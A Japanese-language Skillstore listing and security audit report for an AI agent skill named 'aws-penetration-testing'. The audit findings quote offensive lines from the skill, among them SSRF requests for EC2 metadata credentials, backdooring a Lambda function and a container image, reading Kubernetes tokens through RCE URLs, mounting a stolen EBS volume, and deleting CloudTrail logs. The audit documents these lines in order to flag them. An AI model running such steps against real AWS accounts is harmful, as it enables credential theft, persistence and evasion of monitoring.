スキル aws-penetration-testing
📦
aws-penetration-testing
コンテンツリビジョン r2 重大 ⚙️ 外部コマンド🌐 ネットワークアクセス📁 ファイルシステムへのアクセス🔑 環境変数
AWS 侵入テストワークフローを評価する
AWS セキュリティチームには、クラウドの攻撃経路と防御策を体系的にレビューする必要があります。このスキルは、IAM、S3、Lambda、メタデータ、ログ記録の評価手順を整理します。
対応: Claude Codex Code(CC)
この Skill を自動インストールしないでください。
基準ポリシーにより、インストール操作の前にオペレーターのレビューが必要です。
自分のエージェントでインストール
このリクエストをエージェントにコピーしてください。正規の Skill ページとマニフェストが含まれています。
エージェントリクエスト
Review the Skillstore skill "aws-penetration-testing" from https://skillstore.io/skills/sickn33-aws-penetration-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-aws-penetration-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.エージェントは引き続き計画を提示し、セキュリティポリシーで必要な確認を求める必要があります。
エージェントが読めるリソース
AI エージェント、クローラー、スクリプトがページ全体ではなく整理されたコンテキストを必要とする場合は、これらのリンクを使ってください。
テストする
「aws-penetration-testing」を使用しています。 承認済み AWS アカウントで、権限昇格につながる IAM 権限をレビューする。
期待される結果:
- レビュー対象の ID とアタッチされたポリシーの概要。
- 承認追跡が必要な高リスク権限の一覧。
- 最終レポートに含める推奨証拠フィールド。
「aws-penetration-testing」を使用しています。 ワークロードがメタデータ認証情報の窃取にさらされているか評価する。
期待される結果:
- メタデータサービスのバージョンとホップ制限設定のチェック。
- ECS および EKS に関するコンテナ認証情報露出の確認事項。
- インスタンスロールとネットワーク経路に関する修復メモ。
「aws-penetration-testing」を使用しています。 AWS 攻撃経路を防御的チェックリストに変換する。
期待される結果:
- IAM、ログ記録、監視のコントロール目標。
- 本番データを変更せずに取得する証拠。
- クリーンアップとステークホルダー承認の要件。
セキュリティ監査
重大v5 • 2026/7/23 バージョン別レポートを開く
Many Ruby backtick and ordinary documentation URL alerts are false positives caused by Markdown. Confirmed findings include metadata credential theft, privilege escalation, backdoors, secret retrieval, target-volume access, and defense evasion through CloudTrail suppression.
2
スキャンされたファイル
882
解析済み行数
43
レビュー項目
0
誤検知を無視
確認済みのセキュリティ上の懸念 (27)
重大
[HEURISTIC] DANGEROUS COMBINATION: Code execution + Network + Credential access
This combination is common in credential stealers and RATs
The combination is present in context: the skill teaches remote command execution, metadata credential theft, and network requests. The offensive workflow confirms the heuristic.
重大
Defense Evasion and Audit Suppression
The skill instructs users to delete or weaken CloudTrail and avoid GuardDuty detection. These actions impair monitoring and incident investigation.
The source explicitly labels covering tracks, gives CloudTrail deletion commands, and recommends user-agent changes or log obfuscation to avoid detection.
高
Malware type keywords
### Lambda Backdooring
This heading introduces a Lambda backdooring workflow, and the following code grants administrator policies. The context confirms offensive persistence intent.
高
Malware type keywords
# Update function with backdoor
The comment explicitly directs updating a Lambda with a backdoor. It is followed by an executable AWS CLI command.
高
Malware type keywords
aws lambda update-function-code --function-name NAME --zip-file fileb://backdoor.zip
The command replaces Lambda code with backdoor.zip. This can establish persistence and execute attacker-controlled code under the function role.
高
Malware type keywords
# Invoke backdoored function
The instruction invokes the function after backdoor deployment. This confirms the modified function is intended for active use.
高
Malware type keywords
### Container Backdooring
This section introduces container backdooring and provides build and push steps. The context confirms a persistence and supply-chain compromise technique.
高
Malware type keywords
# Build backdoored image
The command builds an image explicitly described as backdoored, before tagging and pushing it to ECR. This can compromise downstream deployments.
確認済みの27件をすべて表示
高
System reconnaissance
aws secretsmanager get-secret-value --secret-id ID
The AWS CLI command retrieves a Secrets Manager value, not only metadata. In this offensive workflow it can disclose protected credentials or application secrets.
高
Malware type keywords
- Leave persistent backdoors without documentation
The constraint forbids only undocumented persistent backdoors, leaving documented persistence permitted. That wording does not prevent a high-risk persistence workflow.
高
System reconnaissance
--parameters commands="whoami"
The command sends whoami through AWS Systems Manager to a target instance. This is remote command execution used to validate host access.
高
[HEURISTIC] SUSPICIOUS COMBINATION: Filesystem + Credentials + Network
This combination could indicate credential harvesting and exfiltration
The skill combines target-volume mounting, process environment reads, credential extraction, and network access. The surrounding penetration workflow confirms the combined risk.
高
Explicit Compromise and Persistence Objectives
The declared deliverables include extracted credentials, compromised resources, and persistence mechanisms. This frames harmful outcomes as expected skill results.
The outputs section directly lists credential extraction, compromised EC2, Lambda, and S3 resources, and persistence mechanisms.
低
System reconnaissance
aws apigateway get-rest-api --rest-api-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws apigateway get-resources --rest-api-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws apigateway get-method --rest-api-id ID --resource-id RES_ID --http-method GET
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws apigateway get-stages --rest-api-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws secretsmanager describe-secret --secret-id NAME
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws secretsmanager get-resource-policy --secret-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws kms describe-key --key-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws kms list-key-policies --key-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws kms get-key-policy --policy-name NAME --key-id ID
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
The AWS CLI command enumerates APIs, policies, secrets, or cryptographic resources in an offensive assessment workflow. It can expose sensitive account structure.
低
System reconnaissance
aws ssm list-command-invocations --command-id "CMD-ID" \
The command retrieves output from a remotely executed SSM command. It supports target-host command execution and result collection.
低
System reconnaissance
aws ec2 create-snapshot --volume-id vol-xxx --description "Audit"
This command is part of a target-volume snapshot, copy, and attachment workflow. It enables access to another instance's disk data.
低
System reconnaissance
aws ec2 create-volume --snapshot-id snap-xxx --availability-zone us-east-1a
This command is part of a target-volume snapshot, copy, and attachment workflow. It enables access to another instance's disk data.
低
System reconnaissance
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
This command is part of a target-volume snapshot, copy, and attachment workflow. It enables access to another instance's disk data.
機能レビュー項目 (43)
これらは、このスキルに期待される可能性のある実際のローカル機能であるため、レビューが必要ですが、確認済みの悪意ある動作としてはカウントされません。
重大
AWS/Azure metadata endpoint
http://169.254.169.254/latest/meta-data/
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
重大
AWS/Azure metadata endpoint
http://169.254.169.254/latest/meta-data/iam/security-credentials/
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
重大
AWS/Azure metadata endpoint
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
重大
AWS/Azure metadata endpoint
"http://169.254.169.254/latest/api/token")
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
重大
AWS/Azure metadata endpoint
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
重大
AWS/Azure metadata endpoint
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
重大
AWS/Azure metadata endpoint
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
重大
AWS/Azure metadata endpoint
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
The endpoint appears in an explicit SSRF and credential-extraction workflow. Accessing it can disclose AWS role credentials from EC2 metadata.
高
Linux /proc filesystem access
https://apigateway/prod/system?cmd=file:///proc/self/environ
The file-read payload targets /proc/self/environ to expose process environment values. In Lambda, those values may include credentials and secrets.
高
Shell command substitution
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
The shell command requests an IMDSv2 token and stores it for metadata credential requests. The surrounding workflow explicitly targets temporary AWS credentials.
高
sudo privilege escalation
sudo mkdir /mnt/stolen
The command uses sudo to create a mount point named stolen in an EBS extraction workflow. It requires elevated local privileges.
高
sudo privilege escalation
sudo mount /dev/xvdf1 /mnt/stolen
The command uses sudo to mount a target EBS volume under /mnt/stolen. This enables privileged access to another system's disk contents.
高
Linux /proc filesystem access
/proc/self/environ
The instructions read /proc/self/environ specifically to locate a container credential path. This can expose credentials from the running workload.
高
Non-standard device file access
aws ec2 attach-volume --volume-id vol-xxx --instance-id i-xxx --device /dev/xvdf
The command attaches a copied target volume as /dev/xvdf in an exploitation workflow. This prepares access to another instance's data.
高
Non-standard device file access
sudo mount /dev/xvdf1 /mnt/stolen
The command mounts /dev/xvdf1 under /mnt/stolen. The surrounding steps explicitly use the device to access target disk contents.
高
AWS credential environment variables
export AWS_ACCESS_KEY_ID=ASIA...
The workflow exports an access key obtained through metadata SSRF. Even with placeholder text, it directs use of stolen temporary credentials.
高
AWS credential environment variables
export AWS_SECRET_ACCESS_KEY=...
The workflow exports the secret access key from stolen metadata credentials. This is credential handling in an offensive access sequence.
高
AWS credential environment variables
export AWS_SESSION_TOKEN=...
The workflow exports the stolen session token before verifying account access. This completes a usable temporary AWS credential set.
中
Shell command substitution
TOKEN=$(aws rds generate-db-auth-token \
The code block executes AWS CLI and stores an RDS authentication token for a database connection. It is operational shell guidance, although arguments are placeholders.
中
Hardcoded IP address
http://169.254.169.254/latest/meta-data/
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
http://169.254.169.254/latest/meta-data/iam/security-credentials/
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
"http://169.254.169.254/latest/api/token")
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
中
Hardcoded IP address
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
The address is an AWS workload metadata or container credential endpoint used by the skill to retrieve credentials. The context is offensive credential access.
低
Hardcoded URL
https://apigateway/prod/system?cmd=env
The example URL invokes a command endpoint to return environment variables. Following this pattern can expose credentials and secrets from a target Lambda.
低
Hardcoded URL
https://apigateway/prod/example?url=http://localhost:9001/2018-06-01/runtime/invocation/
The example uses SSRF to reach Lambda's local runtime API. This is an offensive request pattern against an internal service.
低
Hardcoded URL
https://apigateway/prod/system?cmd=file:///proc/self/environ
The URL combines command execution and a file read of /proc/self/environ. It is intended to disclose process environment data.
低
Hardcoded URL
curl https://API_ID.execute-api.REGION.amazonaws.com/STAGE/ENDPOINT
The curl target invokes the API endpoint immediately after instructions to deploy a backdoored Lambda. The network request activates that modified function.
低
Hardcoded URL
https://website.com/rce.php?cmd=ls /var/run/secrets/kubernetes.io/serviceaccount
The URL sends an RCE command that lists Kubernetes service-account secret files. This is an actionable credential-discovery technique.
低
Hardcoded URL
https://website.com/rce.php?cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token
The URL sends an RCE command that reads a Kubernetes service-account token. This directly retrieves an authentication secret.
低
Hardcoded URL
http://169.254.169.254/latest/meta-data/
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
http://169.254.169.254/latest/meta-data/iam/security-credentials/
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
"http://169.254.169.254/latest/api/token")
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
| Get metadata | `curl http://169.254.169.254/latest/meta-data/` |
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
低
Hardcoded URL
https://app.com/proxy?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
The URL is part of an offensive request workflow that targets metadata, credentials, command execution, or a modified cloud function.
リスク要因
⚙️ 外部コマンド (50)
references/advanced-aws-pentesting.md:353-357 SKILL.md:40 SKILL.md:41 SKILL.md:42 SKILL.md:43 SKILL.md:44 SKILL.md:45 SKILL.md:55-67 SKILL.md:67-71 SKILL.md:71-91 SKILL.md:91-97 SKILL.md:97-114 SKILL.md:114-118 SKILL.md:118-126 SKILL.md:126-130 SKILL.md:130-137 SKILL.md:137-149 SKILL.md:149-150 SKILL.md:150-151 SKILL.md:151-152 SKILL.md:152-153 SKILL.md:153-154 SKILL.md:154 SKILL.md:155-159 SKILL.md:159-161 SKILL.md:161-165 SKILL.md:165-168 SKILL.md:168-172 SKILL.md:172-176 SKILL.md:176-180 SKILL.md:180-191 SKILL.md:191-193 SKILL.md:193-197 SKILL.md:197-205 SKILL.md:205-213 SKILL.md:213-217 SKILL.md:217-226 SKILL.md:226-230 SKILL.md:230-232 SKILL.md:232-238 SKILL.md:238-248 SKILL.md:248-256 SKILL.md:256-268 SKILL.md:268-276 SKILL.md:276-289 SKILL.md:289-293 SKILL.md:293-300 SKILL.md:300-308 SKILL.md:308-313 SKILL.md:313-321
🌐 ネットワークアクセス (41)
references/advanced-aws-pentesting.md:40 references/advanced-aws-pentesting.md:61 references/advanced-aws-pentesting.md:68 references/advanced-aws-pentesting.md:149 references/advanced-aws-pentesting.md:152 references/advanced-aws-pentesting.md:155 references/advanced-aws-pentesting.md:183 references/advanced-aws-pentesting.md:313 references/advanced-aws-pentesting.md:316 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:121 SKILL.md:125 SKILL.md:348 SKILL.md:377 SKILL.md:381 SKILL.md:40 SKILL.md:44 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:121 SKILL.md:125 SKILL.md:136 SKILL.md:211 SKILL.md:212 SKILL.md:231 SKILL.md:309 SKILL.md:348 SKILL.md:377 SKILL.md:381 SKILL.md:99 SKILL.md:102 SKILL.md:105 SKILL.md:121 SKILL.md:125 SKILL.md:136 SKILL.md:348 SKILL.md:377 SKILL.md:381
📁 ファイルシステムへのアクセス (5)
🔑 環境変数 (3)
検出されたパターン
Malware type keywords×7System reconnaissance×16[HEURISTIC] DANGEROUS COMBINATION: Code execution + Network + Credential access
監査者: codex 監査履歴を表示 →
このレポートを共有・引用
バージョン付き評価レポート、中立的なバッジ、埋め込みカード、引用を共有できます。Skillstore は証拠を報告しますが、この Skill が安全かどうかは判断しません。
レポートリンクをコピー
https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportMarkdownバッジ
[](https://skillstore.io/skills/sickn33-aws-penetration-testing?utm_source=security_passport_badge)HTMLバッジ
<a href="https://skillstore.io/skills/sickn33-aws-penetration-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-aws-penetration-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>埋め込みカード
<iframe src="https://skillstore.io/embed/skills/sickn33-aws-penetration-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>学術引用 (APA · BibTeX · CFF)
APA形式の引用
zebbern. (2026). aws-penetration-testing security audit report (audit version 5) [Author version unspecified]. Skillstore. https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5BibTeX形式の引用
@techreport{zebbern-sickn33-aws-penetration-testing-2026,
author = {zebbern},
title = {aws-penetration-testing security audit report (audit version 5)},
institution = {Skillstore},
year = {2026},
number = {5},
url = {https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5},
note = {Author version unspecified}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "aws-penetration-testing security audit report (audit version 5)"
version: "unspecified"
type: report
authors:
- name: "zebbern"
date-released: "2026-07-23"
url: "https://skillstore.io/skills/sickn33-aws-penetration-testing/audits/5"
identifiers:
- type: other
value: "skillstore:sickn33-aws-penetration-testing:audit:5"
description: "Skillstore immutable audit report identifier"
Skillstore スコア
このスコアの理由 証拠の信頼度: 中 41
アーキテクチャ
85
保守性
87
コンテンツ
69
コミュニティ
83
仕様準拠
作成できるもの
承認済みクラウド評価を計画する
ID、ストレージ、コンピューティング、ログ記録コントロールを対象とする、範囲設定済みの AWS テスト計画を作成します。
IAM の露出をレビューする
権限昇格や意図しない認証情報アクセスを許可する可能性のある権限を特定します。
防御的検証チェックリストを作成する
攻撃経路を、メタデータ保護、監視、インシデント対応準備状況のチェックに変換します。
これらのプロンプトを試す
AWS ID スコープをマッピングする
この AWS アカウントを評価する書面による承認があります。読み取り専用の IAM 列挙ワークフローを計画し、収集すべき証拠を一覧化するのを手伝ってください。
S3 の露出をレビューする
スコープ内の AWS アカウントについて、S3 バケットの露出、パブリックアクセス設定、安全な証拠収集手順をレビューするのを手伝ってください。
メタデータ保護を検証する
承認済みテストで、EC2、ECS、EKS ワークロードがメタデータ認証情報の露出から保護されているか評価するのを手伝ってください。
攻撃経路のコントロールを評価する
IAM 昇格、Lambda 悪用、SSM コマンド実行、EBS アクセス、CloudTrail 監視に関する防御的検証計画を作成してください。
ベストプラクティス
- テスト前に、書面による承認、スコープ、緊急連絡先を確認します。
- 本番環境への影響が考えられる場合は、読み取り専用チェックとラボシミュレーションを優先します。
- 監査可能性のために、コマンド、タイムスタンプ、アカウント、クリーンアップ手順を記録します。
回避
- 明示的な承認なしに AWS アカウントやリソースをテストしないでください。
- 承認済みプロセスの外で認証情報を抽出、再利用、保存しないでください。
- アラートを回避するために、本番環境でログ記録や監視を無効化しないでください。
よくある質問
このスキルは誰が使用すべきですか？
承認済みの AWS セキュリティ評価、レッドチーム演習、防御的クラウドレビューにのみ使用してください。
AWS コマンドを自動的に実行しますか？
いいえ。使用前に有資格のオペレーターがレビューする必要があるガイダンスと例を提供します。
本番アカウントで使用できますか？
承認済みスコープ、変更管理、監視に関する認識、ロールバック計画がある場合にのみ使用できます。
どの AWS 領域をカバーしていますか？
IAM、S3、Lambda、SSM、EC2、メタデータサービス、シークレット、KMS、コンテナ、VPC レビューをカバーします。
主なリスクは何ですか？
この資料には、認証情報の露出、権限昇格、セキュリティ監視の妨害につながる可能性のある手法が含まれています。
チームは出力をどのように使用すべきですか？
評価計画用の資料として扱い、可能な場合はリスクのある手順を防御的チェックに変換してください。
開発者情報
作成者
zebbernライセンス
MIT
Skillstore リビジョン
r2
バージョンに関する注意
作者はバージョンを宣言していません。
リポジトリ
https://github.com/sickn33/antigravity-awesome-skills/tree/main/skills/aws-penetration-testing参照
86d877f219e2131f05dd5b37c5e329c71c7b8ec4
メンテナンスの新しさ
2026/7/26
利用状況
9 ダウンロード · 121 閲覧
ファイル構成